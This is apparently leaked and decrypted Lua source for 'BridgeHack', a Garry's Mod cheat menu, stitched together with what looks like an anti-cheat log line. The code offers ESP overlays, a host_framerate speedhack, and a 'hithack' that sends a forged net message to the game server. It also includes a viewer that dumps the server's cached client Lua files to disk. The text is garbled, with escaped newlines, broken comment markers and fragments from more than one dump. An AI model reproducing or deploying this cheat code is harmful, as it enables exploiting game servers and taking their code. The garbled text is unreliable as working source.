255,255,255 ), 0, 0 )\x0a\x0a\x09\x09end\x0a\x0a\x09\x09Button.DoClick = function()\x0a\x0a\x09\x09\x09DermaPanel:Close()\x0a\x0a\x09\x09end\x09\x09\x09\x0a\x0a\x0a\x0a\x09\x09DermaPanel:MakePopup()\x0a\x0a\x0a\x0a\x09\x09local ESPMixer = vgui.Create( \"DColorMixer\", DermaPanel )\x0a\x0a\x09\x09ESPMixer:SetPos( 10,170)\x0a\x0a\x09\x09ESPMixer:SetSize(100,100)--Make Mixer fill place of Frame\x0a\x0a\x09\x09ESPMixer:SetPalette( false ) --Show/hide the paletteDEF:true\x0a\x0a\x09\x09ESPMixer:SetAlphaBar( true ) --Show/hide the alpha barDEF:true\x0a\x0a\x09\x09ESPMixer:SetWangs( false ) --Show/hide the R G B A indicators DEF:true\x0a\x0a\x09\x09ESPMixer:SetColor( Color(GetConVarNumber(\"bh_esp_infocolor_r\"),GetConVarNumber(\"bh_esp_infocolor_g\"),GetConVarNumber(\"bh_esp_infocolor_b\")) )--Set the default color\x0a\x0a\x09\x09daespvector = ESPMixer:GetColor()\x0a\x0a\x0a\x0a\x09\x09local ESPMixButton = vgui.Create( \"DButton\",DermaPanel )\x0a\x0a\x09\x09ESPMixButton:SetPos( 5, 265 )\x0a\x0a\x09\x09ESPMixButton:SetText( \"Set ESP Color\" )\x0a\x0a\x09\x09ESPMixButton:SetSize( 120, 15 )\x0a\x0a\x09\x09ESPMixButton.DoClick = function()\x0a\x0a\x09\x09\x09print(daespvector)\x0a\x0a\x09\x09\x09ply:ConCommand(\"bh_esp_infocolor_r \"..daespr)\x0a\x0a\x09\x09\x09ply:ConCommand(\"bh_esp_infocolor_g \"..daespg)\x0a\x0a\x09\x09\x09ply:ConCommand(\"bh_esp_infocolor_b \"..daespb)\x0a\x0a\x09\x09end\x0a\x0a\x0a\x0a\x09\x09local EspBoxes = vgui.Create( \"DCheckBoxLabel\", DermaPanel )/ Create the checkbox\x0a\x0a\x09\x09EspBoxes:SetPos( 10, 25 )/ Set the position\x0a\x0a\x09\x09EspBoxes:SetValue( GetConVarNumber(\"bh_esp_box\") )/ Initial value ( will determine whether the box is ticked too )\x0a\x0a\x09\x09EspBoxes:SetText(\"ESP Boxes\")\x0a\x0a\x09\x09EspBoxes:SetConVar( \"bh_esp_box\" )\x0a\x0a\x09\x09EspBoxes:SizeToContents()\x0a\x0a\x0a\x0a\x09\x09local ShowHP = vgui.Create( \"DCheckBoxLabel\", DermaPanel )/ Create the checkbox\x0a\x0a\x09\x09ShowHP:SetPos( 10, 45 )/ Set the position\x0a\x0a\x09\x09ShowHP:SetValue( GetConVarNumber(\"bh_esp_hp\") )/ Initial value ( will determine whether the box is ticked too )\x0a\x0a\x09\x09ShowHP:SetText(\"Show HP On ESP\")\x0a\x0a\x09\x09ShowHP:SetConVar( \"bh_esp_hp\" )\x0a\x0a\x09\x09ShowHP:SizeToContents()\x0a\x0a\x0a\x0a\x09\x09local ShowRank = vgui.Create( \"DCheckBoxLabel\", DermaPanel )/ Create the checkbox\x0a\x0a\x09\x09ShowRank:SetPos( 10, 65 )/ Set the position\x0a\x0a\x09\x09ShowRank:SetValue( GetConVarNumber(\"bh_esp_rank\") )/ Initial value ( will determine whether the box is ticked too )\x0a\x0a\x09\x09ShowRank:SetText(\"Show Rank On ESP\")\x0a\x0a\x09\x09ShowRank:SetConVar( \"bh_esp_rank\" )\x0a\x0a\x09\x09ShowRank:SizeToContents()\x0a\x0a\x0a\x0a\x09\x09local Rdistance = vgui.Create( \"DCheckBoxLabel\", DermaPanel )/ Create the checkbox\x0a\x0a\x09\x09Rdistance:SetPos( 10, 85 )/ Set the position\x0a\x0a\x09\x09Rdistance:SetValue( GetConVarNumber(\"bh_renderdistance_enable\") )/ Initial value ( will determine whether the box is ticked too )\x0a\x0a\x09\x09Rdistance:SetText(\"Use a Maximum render distance\")\x0a\x0a\x09\x09Rdistance:SetConVar( \"bh_renderdistance_enable\" )\x0a\x0a\x09\x09Rdistance:SizeToContents()\x0a\x0a\x0a\x0a\x09\x09local Rdistance = vgui.Create( \"DCheckBoxLabel\", DermaPanel )/ Create the checkbox\x0a\x0a\x09\x09Rdistance:SetPos( 10, 105 )/ Set the position\x0a\x0a\x09\x09Rdistance:SetValue( GetConVarNumber(\"bh_notify\") )/ Initial value ( will determine whether the box is ticked too )\x0a\x0a\x09\x09Rdistance:SetText(\"Top Scrolling Message\")\x0a\x0a\x09\x09Rdistance:SetConVar( \"bh_notify\" )\x0a\x0a\x09\x09Rdistance:SizeToContents()\x0a\x0a\x09\x09\x0a\x0a\x09\x09local PlaySound = vgui.Create( \"DCheckBoxLabel\", DermaPanel )/ Create the checkbox\x0a\x0a\x09\x09PlaySound:SetPos( 10, 125 )/ Set the position\x0a\x0a\x09\x09PlaySound:SetValue( GetConVarNumber(\"bh_playsound\") )/ Initial value ( will determine whether the box is ticked too )\x0a\x0a\x09\x09PlaySound:SetText(\"Menu sounds\")\x0a\x0a\x09\x09PlaySound:SetConVar( \"bh_playsound\" )\x0a\x0a\x09\x09PlaySound:SizeToContents()\x0a\x0a\x0a\x0a\x09\x09local RenderDistance = vgui.Create( \"DNumSlider\", DermaPanel )\x0a\x0a\x09\x09RenderDistance:SetPos( 25, 145) / Set the position\x0a\x0a\x09\x09RenderDistance:SetSize( 280, 25 ) / Set the size\x0a\x0a\x09\x09RenderDistance:SetText( \"Max Render Distance\" ) / Set the text above the slider\x0a\x0a\x09\x09RenderDistance:SetMin( 0 ) / Set the minimum number you can slide to\x0a\x0a\x09\x09RenderDistance:SetMax( 5000 )/ Set the maximum number you can slide to\x0a\x0a\x09\x09RenderDistance:SetDecimals( 1 ) / Decimal places - zero for whole number\x0a\x0a\x09\x09RenderDistance:SetConVar( \"bh_esp_rdistance\" ) / Changes the ConVar when you slide\x0a\x0a\x09end ):SetImage( \"icon16/wrench.png\" )\x0a\x0a\x09\x0a\x0a\x09menu:Open()\x0a\x0a\x09end)\x0a\x0a\x09\x09\x09\x0a\x0a\x09concommand.Add(\"-bh_menu\", function( ply )\x0a\x0a\x09\x09status(\"Menu Closed.\")\x0a\x0a\x09\x09if GetConVarNumber(\"bh_menu_effects\") == 1 then\x0a\x0a\x09\x09\x09hook.Add( \"RenderScreenspaceEffects\", \"BlurBG\", blur_off )\x0a\x0a\x09\x09end\x0a\x0a\x09\x09local menu = DermaMenu() \x0a\x0a\x09end)\x0a\x0a\x09\x0a\x0a\x09function ESP_on( ) \x0a\x0a\x09\x09ply:ConCommand(\"bh_esp 1\")\x0a\x0a\x09end\x0a\x0a\x09\x0a\x0a\x09function ESP_off( )\x0a\x0a\x09\x09ply:ConCommand(\"bh_esp 0\")\x0a\x0a\x09end\x0a\x0a\x09\x0a\x0a\x09\x09function speedhack_on( ) \x0a\x0a\x09\x09ply:ConCommand(\"host_framerate 8;host_framerate 8\")\x0a\x0a\x09\x09status(\"Enabled SpeedHack\")\x0a\x0a\x09end\x0a\x0a\x09\x0a\x0a\x09function speedhack_off( )\x0a\x0a\x09\x09ply:ConCommand(\"host_framerate 0;host_framerate 0\")\x0a\x0a\x09\x09status(\"Disabled SpeedHack\")\x0a\x0a\x09end \x0a\x0a\x09\x0a\x0a\x09-- CL LUAVIEWER */ require(\"stringtables\") local escapejs = { [\"\\\\\"] = \"\\\\\\\\\", [\"\\0\"] = \"\\\\0\" , [\"\\b\"] = \"\\\\b\" , [\"\\t\"] = \"\\\\t\" , [\"\\n\"] = \"\\\\n\" , [\"\\v\"] = \"\\\\v\" , [\"\\f\"] = \"\\\\f\" , [\"\\r\"] = \"\\\\r\" , [\"\\\"\"] = \"\\\\\\\"\", [\"\\'\"] = \"\\\\\\'\" } function string.JavascriptSafe( str ) str = str:gsub( \".\", escapejs ) str = str:gsub( \"\\226\\128\\168\", \"\\\\\\226\\128\\168\" ) str = str:gsub( \"\\226\\128\\169\", \"\\\\\\226\\128\\169\" ) return str end local function GetLuaFiles(client_lua_files) local count = client_lua_files:Count() local ret = {} for i = 1, count - 2 do ret[i] = { Path = client_lua_files:GetString(i), CRC = client_lua_files:GetUserDataInt(i) } end return ret end local function GetLuaFileContents(crc) local fs = file.Open(\"cache/lua/\" .. crc .. \".lua\", \"rb\", \"MOD\") fs:Seek(4) local contents = util.Decompress(fs:Read(fs:Size() - 4)) return contents:sub(1, -2) end local function dumbFile(path, contents) if not path:match(\"%.txt$\") then path = path..\".txt\" end local curdir = \"\" for t in path:gmatch(\"[^/\\\\*]+\") do curdir = curdir..t if curdir:match(\"%.txt$\") then print(\"writing: \", curdir) file.Write(curdir, contents) else curdir = curdir..\"/\" print(\"Creating: \", curdir) file.CreateDir(curdir) end end end local dumbFolderCache = \"\" local function dumbFolder(node) for _, subnode in ipairs(node.ChildNodes:GetChildren()) do if subnode:HasChildren() then dumbFolder(subnode) else dumbFile(dumbFolderCache..subnode.pathh, GetLuaFileContents(subnode.CRC)) end end end\x0a\x0a\x0a\x0a/*\x0a\x0a[[----------------------------------------------------------------]] \x0a\x0a[[----------------------------------------------------------------]] \x0a\x0a ____ ___ __ __ \x0a\x0a/\\ _`\\ /\\_ \\ __ /\\ \\__ __ /\\ \\ \x0a\x0a\\ \\ \\/\\_\\/\\ \\ /\\_\\ __ ___\\ \\ ,_\\ ____/\\_\\ \\_\\ \\ __ \x0a\x0a \\ \\ \\/_/_\\ \\ \\ \\/\\ \\ /'__`\\/' _ `\\ \\ \\/ /',__\\/\\ \\ /'_` \\ /'__`\\ \x0a\x0a \\ \\ \\ \\ \\\\_\\ \\_\\ \\ \\/\\ __/\\ \\/\\ \\ \\ \\_/\\__, `\\ \\ \\/\\ \\ \\ \\/\\ __/ \x0a\x0a \\ \\____/\\____\\\\ \\_\\ \\____\\ \\_\\ \\_\\ \\__\\/\\____/\\ \\_\\ \\___,_\\ \\____\\ \x0a\x0a \\/___/ \\/____/ \\/_/\\/____/\\/_/\\/_/\\/__/\\/___/ \\/_/\\/__,_ /\\/____/ \x0a\x0a/\\ \\ __ \x0a\x0a\\ \\ \\ __ __ __ __ __ /\\_\\ __ __ __ __ __ _ __ \x0a\x0a \\ \\ \\ __/\\ \\/\\ \\ /'__`\\ /\\ \\/\\ \\\\/\\ \\ /'__`\\/\\ \\/\\ \\/\\ \\ /'__`\\/\\`'__\\\x0a\x0a \\ \\ \\L\\ \\ \\ \\_\\ \\/\\ \\L\\.\\_ \\ \\ \\_/ |\\ \\ \\/\\ __/\\ \\ \\_/ \\_/ \\/\\ __/\\ \\ \\/\x0a\x0a \\ \\____/\\ \\____/\\ \\__/.\\_\\ \\ \\___/ \\ \\_\\ \\____\\\\ \\___x___/'\\ \\____\\\\ \\_\\\x0a\x0a \\/___/ \\/___/ \\/__/\\/_/ \\/__/ \\/_/\\/____/ \\/__/__/ \\/____/ \\/_/\x0a\x0a \x0a\x0a[[----------------------------------------------------------------]]\x0a\x0a[[----------------------------------------------------------------]] */ require(\"stringtables\") local escapejs = { [\"\\\\\"] = \"\\\\\\\\\", [\"\\0\"] = \"\\\\0\" , [\"\\b\"] = \"\\\\b\" , [\"\\t\"] = \"\\\\t\" , [\"\\n\"] = \"\\\\n\" , [\"\\v\"] = \"\\\\v\" , [\"\\f\"] = \"\\\\f\" , [\"\\r\"] = \"\\\\r\" , [\"\\\"\"] = \"\\\\\\\"\", [\"\\'\"] = \"\\\\\\'\" } function string.JavascriptSafe( str ) str = str:gsub( \".\", escapejs ) str = str:gsub( \"\\226\\128\\168\", \"\\\\\\226\\128\\168\" ) str = str:gsub( \"\\226\\128\\169\", \"\\\\\\226\\128\\169\" ) return str end local function GetLuaFiles(client_lua_files) local count = client_lua_files:Count() local ret = {} for i = 1, count - 2 do ret[i] = { Path = client_lua_files:GetString(i), CRC = client_lua_files:GetUserDataInt(i) } end return ret end local function GetLuaFileContents(crc) local fs = file.Open(\"cache/lua/\" .. crc .. \".lua\", \"rb\", \"MOD\") fs:Seek(4) local contents = util.Decompress(fs:Read(fs:Size() - 4)) return contents:sub(1, -2) end local function dumbFile(path, contents) if not path:match(\"%.txt$\") then path = path..\".txt\" end local curdir = \"\" for t in path:gmatch(\"[^/\\\\*]+\") do curdir = curdir..t if curdir:match(\"%.txt$\") then print(\"writing: \", curdir) file.Write(curdir, contents) else curdir = curdir..\"/\" print(\"Creating: \", curdir) file.CreateDir(curdir) end end end local dumbFolderCache = \"\" local function dumbFolder(node) for _, subnode in ipairs(node.ChildNodes:GetChildren()) do if subnode:HasChildren() then dumbFolder(subnode) else dumbFile(dumbFolderCache..subnode.pathh, GetLuaFileContents(subnode.CRC)) end end end\x0a\x0a \x0a\x0alocal VIEWER = {}\x0a\x0a\x0a\x0afunction VIEWER:Init()\x0a\x0a self:SetTitle(\"Clientside Lua Viewer\")\x0a\x0a self:SetSize(1200, 550)\x0a\x0a self:Center() self:ShowCloseButton( false ) self.Paint = function(s,w,h)\x0a\x0a surface.SetDrawColor(Color(108,153,192))\x0a\x0a surface.DrawRect( 0,0, w,h ) surface.SetDrawColor( Color(141,200,251) ) surface.DrawRect( 1,1, w-2,h-2 ) surface.SetDrawColor(Color(141,200,251)) surface.DrawRect( 2,2, w-4,h-4 ) surface.SetDrawColor(Color(108,153,192)) surface.DrawRect( 7.5,27.5, w-14,h-34) surface.SetTextColor(0,0,0) surface.SetFont(\"HeaderFont\")\x0a\x0a surface.SetTextPos( (self:GetWide()/2) - (tostring( string.len( self.lblTitle:GetText() )) / 2*7.5), 2) self.lblTitle:SetColor(Color(0,0,0,0)) surface.DrawText( self.lblTitle:GetText() ) end self.close = vgui.Create( \"DButton\", self ) self.close:SetSize( 43,20 ) self.close:SetPos( self:GetWide()-7.5-self.close:GetWide(), -1 ) self.close:SetText(\"\") self.close.Paint = function(s,w,h) surface.SetDrawColor( Color(199,80,80) ) surface.DrawRect( 0,0, w,h ) surface.SetTextColor(255,255,255) surface.SetFont(\"HeaderFont\") surface.SetTextPos(18,-2) surface.DrawText( \"x\" ) end self.close.DoClick = function(s,w,h) self:Close() end self.tree = vgui.Create(\"DTree\", self) self.tree:SetPos(8.5,28.5) self.tree:SetSize(self:GetWide()/2-200, self:GetTall()-36) self.tree.Directories = {} self.html = vgui.Create(\"DHTML\", self) self.html:SetPos(self:GetWide()/2-200+8.5, 28.5) self.html:SetSize(self:GetWide()/2+200-16, self:GetTall()-36) self.html:OpenURL(\"https:/metastruct.github.io/lua_editor/\") client_lua_files = stringtable.Get \"client_lua_files\" local tree_data= {} for i, v in ipairs(GetLuaFiles(client_lua_files)) do if i == 1 then continue end local file_name = string.match(v.Path, \".*/([^/]+%.lua)\") local dir_path = string.sub(v.Path, 1, -1 - file_name:len()) local file_crc = v.CRC local cur_dir = tree_data for dir in string.gmatch(dir_path, \"([^/]+)/\") do if not cur_dir[dir] then cur_dir[dir] = {} end cur_dir = cur_dir[dir] end cur_dir[file_name] = {fileN = file_name, CRC = file_crc} end local file_queue = {} local function iterate(data, node, path) path = path or \"\" for k, v in SortedPairs(data) do if type(v) == \"table\" and not v.CRC then local new_node = node:AddNode(k) new_node.DoRightClick = function() local dmenu = DermaMenu(new_node) dmenu:SetPos(gui.MouseX(), gui.MouseY()) dmenu:AddOption(\"Save Folder\", function() dumbFolderCache = \"cluaview/\"..GetHostName()..dumbFolder(new_node) DrawFancyPopup(\"The folder \".. dumbFolder(new_node) ..\" has been saved as data/cluaview/\".. GetHostName() ..\"/folders/\".. dumbFolder(new_node) ..\"!\") end) dmenu:Open() end iterate(v, new_node, path .. k .. \"/\") else table.insert(file_queue, {node = node, fileN = v.fileN, path = path .. v.fileN, CRC = v.CRC}) end end end iterate(tree_data, self.tree) for k, v in ipairs(file_queue) do local node = v.node:AddNode(v.fileN, \"icon16/page_green.png\") node.DoClick = function() self.html:QueueJavascript(\"SetContent('\"..string.JavascriptSafe(GetLuaFileContents(v.CRC))..\"')\") end local hostname = GetHostName() hostname = hostname:gsub(\"|\", \"-\") hostname = hostname:gsub(\"~\", \"-\") hostname = hostname:gsub(\" \", \"\") node.DoRightClick = function(self,node) local nodemenu = DermaMenu(node) nodemenu:AddOption(\"Save File\", function() dumbFile(\"cluaview/\".. string.lower(hostname) ..\"/\"..v.fileN, GetLuaFileContents(v.CRC)) DrawFancyPopup(\"The file \".. v.fileN ..\" has been saved as data/cluaview/\".. string.lower(hostname) ..\"/\".. v.fileN ..\"!\") end) nodemenu:Open() end node.CRC = v.CRC node.pathh = v.path\x0a\x0a end\x0a\x0a end\x0a\x0aderma.DefineControl(\"dcluaviewer\", \"Clientside Lua Viewer\", VIEWER, \"DFrame\")\x0a\x0a \x0a\x0a/*\x0a\x0a[[----------------------------------------------------------------]] \x0a\x0a[[----------------------------------------------------------------]] \x0a\x0a ____ \x0a\x0a/\\ _`\\ \x0a\x0a\\ \\ \\L\\_\\ __ ___ ___ __ __ \x0a\x0a \\ \\ _\\/'__`\\ /' _ `\\ /'___\\/\\ \\/\\ \\ \x0a\x0a \\ \\ \\/\\ \\L\\.\\_/\\ \\/\\ \\/\\ \\__/\\ \\ \\_\\ \\ \x0a\x0a \\ \\_\\ \\__/.\\_\\ \\_\\ \\_\\ \\____\\\\/`____ \\\x0a\x0a \\/_/\\/__/\\/_/\\/_/\\/_/\\/____/ `/___/> \\\x0a\x0a /\\___/\x0a\x0a \\/__/\x0a\x0a ____ \x0a\x0a/\\ _`\\ \x0a\x0a\\ \\ \\L\\ \\___ _____ __ __ _____ \x0a\x0a \\ \\ ,__/ __`\\/\\ '__`\\/\\ \\/\\ \\/\\ '__`\\ \x0a\x0a \\ \\ \\/\\ \\L\\ \\ \\ \\L\\ \\ \\ \\_\\ \\ \\ \\L\\ \\ \x0a\x0a \\ \\_\\ \\____/\\ \\ ,__/\\ \\____/\\ \\ ,__/ \x0a\x0a \\/_/\\/___/ \\ \\ \\/ \\/___/ \\ \\ \\/ \x0a\x0a \\ \\_\\ \\ \\_\\ \x0a\x0a \\/_/ \\/_/ \x0a\x0a[[----------------------------------------------------------------]] \x0a\x0a[[----------------------------------------------------------------]] \x0a\x0a*/ \x0a\x0a \x0a\x0afunction DrawFancyPopup(message)\x0a\x0a fancyPopup = vgui.Create(\"DFrame\")\x0a\x0a fancyPopup:SetSize(ScrW(), ScrH()) fancyPopup:SetPos(0, 0) fancyPopup:SetVisible( true ) fancyPopup:SetTitle(\"\") fancyPopup:MakePopup() fancyPopup:ShowCloseButton( true ) fancyPopup.Paint = function(s,w,h) surface.SetDrawColor( Color(0,0,0,200) ) surface.DrawRect( 0,0, w,h ) surface.SetDrawColor( Color(13,136,69) ) surface.DrawRect( 0, w/2-fancyPopup:GetTall()/1.520, ScrW(), ScrH()/6.5 ) surface.SetTextColor(255,255,255) surface.SetFont(\"PopupFont\") surface.SetTextPos(w/4.10, h/2.30) surface.DrawText( message ) end fancyPopupButton = vgui.Create(\"DButton\", fancyPopup) fancyPopupButton:SetSize(110,32.5) fancyPopupButton:SetPos(fancyPopup:GetWide()/2+fancyPopup:GetWide()/10, fancyPopup:GetTall()/2.050) fancyPopupButton:SetText(\"\") fancyPopupButton.Paint = function(s,w,h) surface.SetDrawColor( Color(255,255,255) ) surface.DrawRect( 0,0, w,h ) surface.SetDrawColor( Color(13,136,69) ) surface.DrawRect( 0+3,0+3, w-6,h-6 ) surface.SetTextColor(255,255,255) surface.SetFont(\"PopupFont\") surface.SetTextPos(30.5,5.5) surface.DrawText( \"Alright!\" ) end fancyPopupButton.DoClick = function(s,w,h) fancyPopup:Close() end\x0a\x0aend\x0a\x0a \x0a\x0aconcommand.Add(\"testpopup\", function() DrawFancyPopup(\"This is just a test button and nothing else you nutmpies. Pressing Alright does no shit at all!\") end) concommand.Add(\"bh_lua\", function() vgui.Create(\"dcluaviewer\"):MakePopup() end): 5df1a94b, 2edf3cf0, lines 714- 720
7 Cannot verify GetConVar call stack entry: Foreign lua source: / Leaked by velkon\x0a/ decrypted by General Hex\x0a\x0alocal dversion=1.3\x0a\x0alocal dlversion =\"v1.3\"\x0a\x0alocal outdated = 0\x0a\x0alocal devbuild = 0\x0a\x0alocal pastecheck = 0 / 0 = Bueno 1 = No Bueno\x0a\x0alocal crash = 0\x0a\x0alocal ulx_spam=0\x0a\x0alocal ply = LocalPlayer()\x0a\x0a\x0a\x0a/ INSTALIZATION \x0a\x0a/ FUNCTIONS\x0a\x0a\x0a\x0asurface.CreateFont( \"PopupHFont\", {\x0a\x0a\x09font = \"Segoe UI Light\",\x0a\x0a\x09size = 50,\x0a\x0a\x09weight = 1000,\x0a\x0a} )\x0a\x0a \x0a\x0asurface.CreateFont(\"HeaderFont\", {\x0a\x0a\x09font = \"Segoe UI Semilight\",\x0a\x0a\x09size = 22,\x0a\x0a\x09weight = 300\x0a\x0a})\x0a\x0a\x0a\x0asurface.CreateFont(\"PopupFont\", {\x0a\x0a\x09font = \"Segoe UI Light\",\x0a\x0a\x09size = 21,\x0a\x0a\x09weight = 300\x0a\x0a})\x0a\x0a\x0a\x0asurface.CreateFont(\"HeadingFont\",{\x0a\x0a\x09font = \"ChatFont\",\x0a\x0a\x09size = 20,\x0a\x0a\x09weight = 500,\x0a\x0a\x09antialias = true,\x0a\x0a})\x0a\x0a\x0a\x0afunction SoundClick()\x0a\x0a\x09if GetConVarNumber(\"bh_playsound\") > 0 then\x0a\x0a\x09\x09surface.PlaySound(\"buttons/lightswitch2.wav\")\x0a\x0a\x09else\x0a\x0aend end\x0a\x0a\x0a\x0afunction consoleP(message)\x0a\x0a\x09queries = queries + 1\x0a\x0a\x09MsgC(Color(231, 76, 60), \"[BridgeHack \" .. dlversion .. \"]: \", Color(255,255,255), message, \"\\n\")\x0a\x0aend\x0a\x0a\x0a\x0afunction SoundPop()\x0a\x0a\x09--buttons/blip1.wav\x0a\x0a\x09--buttons/button14.wav\x0a\x0a\x09--buttons/lightswitch2.wav\x0a\x0a\x09if GetConVarNumber(\"bh_playsound\") > 0 then\x0a\x0a\x09\x09surface.PlaySound(\"buttons/button14.wav\")\x0a\x0a\x09else\x0a\x0aend end\x0a\x0a\x0a\x0alocal infinite = 1000000000000000000000000000000000000000000000000000000000000000000\x0a\x0a\x0a\x0afunction HitBitches()\x0a\x0a\x09net.Start(\"hitcomplete\")\x0a\x0a\x09\x09net.WriteDouble( GetConVarNumber(\"bh_hitmenuammount\") )\x0a\x0a\x09net.SendToServer()\x0a\x0aend\x0a\x0aconcommand.Add(\"bh_hithack\", HitBitches)\x0a\x0a\x0a\x0afunction clearcon()\x0a\x0a\x09for i=0, 100 do\x0a\x0a\x09print(\" \")\x0a\x0aend end\x0a\x0a\x0a\x0afunction cleardchat()\x0a\x0a for i=0, 100 do\x0a\x0a chat.AddText(\" \")\x0a\x0a end end\x0a\x0a \x0a\x0a--[[\x0a\x0a\x09Woo, Coloured chat messages!\x0a\x0a]]--\x0a\x0afunction chatP(message) \x0a\x0a\x09queries = queries + 1\x0a\x0a\x09chat.AddText(Color(120, 255, 0), \"[BridgeHack \" .. dlversion .. \"]: \", Color(255,255,0), message)\x0a\x0a\x09--status(message)\x0a\x0aend\x0a\x0a\x0a\x0afunction chatPR(message) \x0a\x0a\x09queries = queries + 1\x0a\x0a\x09chat.AddText(Color(120, 255, 0), \"[BridgeHack \" .. dlversion .. \"]: \", Color(255,0,0), message)\x0a\x0a\x09--status(message)\x0a\x0aend\x0a\x0a\x0a\x0afunction chatPG(message) \x0a\x0a\x09queries = queries + 1\x0a\x0a\x09chat.AddText(Color(120, 255, 0), \"[BridgeHack \" .. dlversion .. \"]: \", Color(0,255,0), message)\x0a\x0a\x09--status(message)\x0a\x0aend\x0a\x0aqueries=1;\x09\x0a\x0ahttp.Fetch(\"http:/pastebin.com/raw.php?i=jfuCra2J\",function(body, len, headers, code)\x0a\x0a\x09serverlist = body\x0a\x0aend,function( error )\x0a\x0a\x09chatP(\"Error accessing PasteBin!\")\x0a\x0aend)\x0a\x0a\x0a\x0ahttp.Fetch(\"http:/pastebin.com/raw.php?i=Ax9WQ5y7\",function(body, len, headers, code)\x0a\x0a\x09changelogs = body\x0a\x0aend,function( error )\x0a\x0a\x09chatP(\"Error accessing PasteBin!\")\x0a\x0aend)\x0a\x0a\x09\x0a\x0afunction printchange()\x0a\x0a\x09consoleP(\"\"..changelogs..\"\")\x0a\x0aend\x0a\x0aconcommand.Add(\"bh_logs\", printchange)\x0a\x0a\x0a\x0a--[[\x0a\x0a\x0a\x0a\x09\x09PASTEBIN\x0a\x0a\x09\x09\x0a\x0a\x09\x09CHECK\x0a\x0a\x0a\x0a\x0a\x0a]]--\x0a\x0alocal StringM8 = \"I like potatoes, potatoes are DELICIOUS! Potatoes are LIFE!\"\x0a\x0a\x0a\x0afunction CheckPastebin()\x0a\x0a\x09http.Fetch(\"http:/pastebin.com/raw.php?i=gy2HeVgB\",function(body, len, headers, code)\x0a\x0a\x09\x09bintext = body\x0a\x0a\x09\x09local stringbin = ( tostring( bintext ))\x0a\x0a\x09\x09if (StringM8 == stringbin) then\x0a\x0a\x09\x09\x09consoleP(\"Connection to PasteBin is good!\")\x0a\x0a\x09\x09else\x0a\x0a\x09\x09\x09pastecheck = 1\x0a\x0a\x09\x09\x09chatP(\"Connection to PasteBin is broken!\")\x0a\x0a\x09\x09\x09chatP(\"BridgeHack needs PasteBin to properly work!\")\x0a\x0a\x09\x09end end) end\x0a\x0a--[[\x0a\x0a~~~~~~~~~~~~~~~ Version Check ~~~~~~~~~~~~~~~\x0a\x0a --]] \x0a\x0afunction VersionCheck()\x0a\x0a\x09http.Fetch(\"http:/pastebin.com/raw.php?i=xcTwfJY7\",function( HTML ) \x0a\x0a\x09local findpos = string.find( HTML, \"CVERSION =\", 0, false )\x09\x0a\x0a\x09if (findpos) then\x0a\x0a\x09\x09local version = tonumber( string.sub( HTML, findpos+10, findpos+13 ) )\x0a\x0a\x09\x09if (pastecheck == 1) then\x0a\x0a\x09\x09\x09chatP(\"Can't check for newer versions because PasteBin is unaccessable!\")\x0a\x0a\x09\x09elseif ( version > dversion ) then\x0a\x0a\x09\x09\x09outdated = 1\x0a\x0a\x09\x09\x09chatP(\"Your version is out of date!\" )\x0a\x0a\x09\x09elseif ( version == dversion ) then\x0a\x0a\x09\x09\x09chatP(\"Your version is up to date.\" )\x0a\x0a\x09\x09elseif (version < dversion) then\x0a\x0a\x09\x09\x09devbuild = 1\x0a\x0a\x09\x09else\x0a\x0a\x09\x09\x09chatP(\"Error checking versions!\")\x0a\x0a\x09\x09end end end) end\x0a\x0aVersionCheck()\x0a\x0a\x0a\x0a/*\x0a\x0a\x09About Menu\x0a\x0a\x09\x0a\x0a\x09Woo, learn about us.\x0a\x0a\x0a\x0a*/\x0a\x0afunction AboutMenu()\x0a\x0a\x09local frame = vgui.Create(\"DFrame\")\x0a\x0a\x09\x09frame:SetSize( ScrW(), ScrH() )\x0a\x0a\x09\x09frame:SetPos( 0,0 )\x0a\x0a\x09\x09frame:SetVisible( true )\x0a\x0a\x09\x09frame:SetDraggable( false )\x0a\x0a\x09\x09frame:MakePopup()\x0a\x0a\x09\x09frame:ShowCloseButton( false )\x0a\x0a\x09\x09frame.Paint = function(s,w,h)\x0a\x0a\x09\x09\x09surface.SetDrawColor( Color(0,0,0,200) ) \x0a\x0a\x09\x09\x09surface.DrawRect( 0,0, w,h ) \x0a\x0a\x09\x09\x09surface.SetDrawColor( Color(0,230,255,150) )\x0a\x0a\x09\x09\x09surface.DrawRect( 0, ScrH()/15, ScrW(), ScrH()/8 )\x0a\x0a\x09\x09\x09surface.SetTextColor(255,255,255)\x0a\x0a\x09\x09\x09surface.SetFont(\"PopupHFont\")\x0a\x0a\x09\x09\x09surface.SetTextPos( w/5 , ScrH()/10 )\x0a\x0a\x09\x09\x09surface.DrawText(\"About BridgeHack\")\x0a\x0a\x09\x09\x09surface.SetFont(\"PopupFont\")\x0a\x0a\x09\x09\x09surface.SetTextPos( w/4, h/2.5)\x0a\x0a\x09\x09\x09surface.DrawText(\"BridgeHack, made by the Hax R' Us team.\")\x0a\x0a\x09\x09\x09surface.SetTextPos( w/4, h/2.4 )\x0a\x0a\x09\x09\x09surface.DrawText(\"If we haven't said it enough, we'll say it again...\")\x0a\x0a\x09\x09\x09surface.SetTextPos( w/4, h/2.3 )\x0a\x0a\x09\x09\x09surface.DrawText(\"The Hax R' Us team has worked VERY hard on this menu.\")\x0a\x0a\x09\x09\x09surface.SetTextPos( w/4, h/2.2 )\x0a\x0a\x09\x09\x09surface.DrawText(\"We LOVE feedback, so please, take the time and send an email to team.\")\x0a\x0a\x09\x09\x09surface.SetTextPos( w/4, h/2.1 )\x0a\x0a\x09\x09\x09surface.DrawText(\"haxrus1337@gmail.com\")\x0a\x0a\x09\x09\x09surface.SetTextPos( w/4, h/2.0 )\x0a\x0a\x09\x09\x09surface.DrawText(\"Tell us what you think of the menu.\")\x0a\x0a\x09\x09end\x0a\x0a\x09\x09\x0a\x0a\x09\x09button = vgui.Create(\"DButton\", frame)\x0a\x0a\x09\x09button:SetSize(110,32.5)\x0a\x0a\x09\x09button:SetPos(frame:GetWide()/2+frame:GetWide()/10, frame:GetTall()/1.9)\x0a\x0a\x09\x09button:SetText(\"\")\x0a\x0a\x09\x09button.Paint = function(s,w,h) \x0a\x0a\x09\x09\x09surface.SetDrawColor( Color(255,255,255) ) \x0a\x0a\x09\x09\x09surface.DrawRect( 0,0, w,h ) \x0a\x0a\x09\x09\x09surface.SetDrawColor( Color(13,136,69) ) \x0a\x0a\x09\x09\x09surface.DrawRect( 0+3,0+3, w-6,h-6 ) \x0a\x0a\x09\x09\x09surface.SetTextColor(255,255,255) \x0a\x0a\x09\x09\x09surface.SetFont(\"PopupFont\") \x0a\x0a\x09\x09\x09surface.SetTextPos(30.5,5.5) 